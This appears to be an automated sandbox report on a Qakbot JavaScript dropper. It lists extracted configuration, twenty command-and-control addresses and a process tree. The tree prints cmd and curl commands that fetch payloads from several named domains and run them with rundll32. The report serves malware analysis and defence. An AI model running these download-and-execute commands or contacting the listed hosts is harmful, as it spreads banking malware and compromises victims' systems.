Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/06/2023, 18:35

General

  • Target
    CalculationOfCosts-141075452.js
  • Size 464KB
  • Sample230614-w8b3esce37
  • SHA256 8edcea2ccadc4cc3ab40d1e7c650e8b1a13d892ee598582b1503be2e86c77090
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • qakbot

Version
  • 404.1374

Botnet
  • obama268

Campaign
  • 1686733312

C2
  • 125.99.76.102:443

  • 80.12.88.148:2222

  • 109.149.147.195:2222

  • 27.99.32.26:2222

  • 70.28.50.223:3389

  • 70.28.50.223:32100

  • 86.97.96.62:2222

  • 66.241.183.99:443

  • 74.12.146.45:2222

  • 190.199.147.209:2222

  • 47.205.25.170:443

  • 12.172.173.82:993

  • 12.172.173.82:22

  • 84.35.26.14:995

  • 72.134.124.16:443

  • 85.240.173.251:2078

  • 50.68.186.195:443

  • 65.190.242.244:443

  • 45.62.75.217:443

  • 203.109.44.236:995

Signatures

  • Qakbot/Qbot

    Qbot or Qakbot is a sophisticated worm with banking capabilities.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\CalculationOfCosts-141075452.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3408
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://rapiska.com/0.94284656204215.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2892
      • C:\Windows\system32\curl.exe
        curl https://rapiska.com/0.94284656204215.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
        3⤵
          PID:1036
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://tamimak.com/0.16252280927340662.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1860
        • C:\Windows\system32\curl.exe
          curl https://tamimak.com/0.16252280927340662.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
          3⤵
            PID:4532
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://corfinka.com/0.6119799500401684.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:872
          • C:\Windows\system32\curl.exe
            curl https://corfinka.com/0.6119799500401684.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
            3⤵
              PID:1184
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://qderika.com/0.580970860553166.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1824
            • C:\Windows\system32\curl.exe
              curl https://qderika.com/0.580970860553166.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
              3⤵
                PID:4468
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://bilaska.com/0.3725899986251888.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3356
              • C:\Windows\system32\curl.exe
                curl https://bilaska.com/0.3725899986251888.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                3⤵
                  PID:4948
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://nirause.com/0.2846274361873046.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4512
                • C:\Windows\system32\curl.exe
                  curl https://nirause.com/0.2846274361873046.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                  3⤵
                    PID:1224
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:884
                  • C:\Windows\system32\timeout.exe
                    timeout 10
                    3⤵
                    • Delays execution with timeout.exe
                    PID:4240
                  • C:\Windows\system32\rundll32.exe
                    rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2396
                    • C:\Windows\SysWOW64\rundll32.exe
                      rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
                      4⤵
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:3752
                      • C:\Windows\SysWOW64\wermgr.exe
                        C:\Windows\SysWOW64\wermgr.exe
                        5⤵
                          PID:3936

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      Floster.OOOOCCCCCXXXXX

                      • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                      • Size 28KB
                      • SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
                      • MD5 SHA1 SHA512 SSDEEP

                      Floster.OOOOCCCCCXXXXX

                      • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                      • Size 28KB
                      • SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
                      • MD5 SHA1 SHA512 SSDEEP

                      Floster.OOOOCCCCCXXXXX

                      • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                      • Size 28KB
                      • SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
                      • MD5 SHA1 SHA512 SSDEEP

                      Floster.OOOOCCCCCXXXXX

                      • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                      • Size 12KB
                      • SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
                      • MD5 SHA1 SHA512 SSDEEP

                      Floster.OOOOCCCCCXXXXX

                      • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                      • Size 246KB
                      • SHA256 15dc169bfe5c5080eb7666268799af60e5edbe1a6dc2128abed70ed123ce8143
                      • MD5 SHA1 SHA512 SSDEEP

                      Floster.OOOOCCCCCXXXXX

                      • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                      • Size 246KB
                      • SHA256 15dc169bfe5c5080eb7666268799af60e5edbe1a6dc2128abed70ed123ce8143
                      • MD5 SHA1 SHA512 SSDEEP

                      Floster.OOOOCCCCCXXXXX

                      • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                      • Size 246KB
                      • SHA256 15dc169bfe5c5080eb7666268799af60e5edbe1a6dc2128abed70ed123ce8143
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/3752-145-0x0000000010000000-0x0000000010024000-memory.dmp

                      memory/3752-144-0x00000000028C0000-0x00000000028C3000-memory.dmp

                      memory/3752-158-0x00000000647C0000-0x0000000064802000-memory.dmp

                      memory/3936-150-0x0000000001270000-0x0000000001272000-memory.dmp

                      memory/3936-151-0x0000000001240000-0x0000000001264000-memory.dmp

                      memory/3936-157-0x0000000001240000-0x0000000001264000-memory.dmp

                      memory/3936-159-0x0000000001240000-0x0000000001264000-memory.dmp

                      memory/3936-160-0x0000000001240000-0x0000000001264000-memory.dmp

                      memory/3936-161-0x0000000001240000-0x0000000001264000-memory.dmp

                      memory/3936-162-0x0000000001240000-0x0000000001264000-memory.dmp

                      memory/3936-163-0x0000000001240000-0x0000000001264000-memory.dmp

                      memory/3936-164-0x0000000001240000-0x0000000001264000-memory.dmp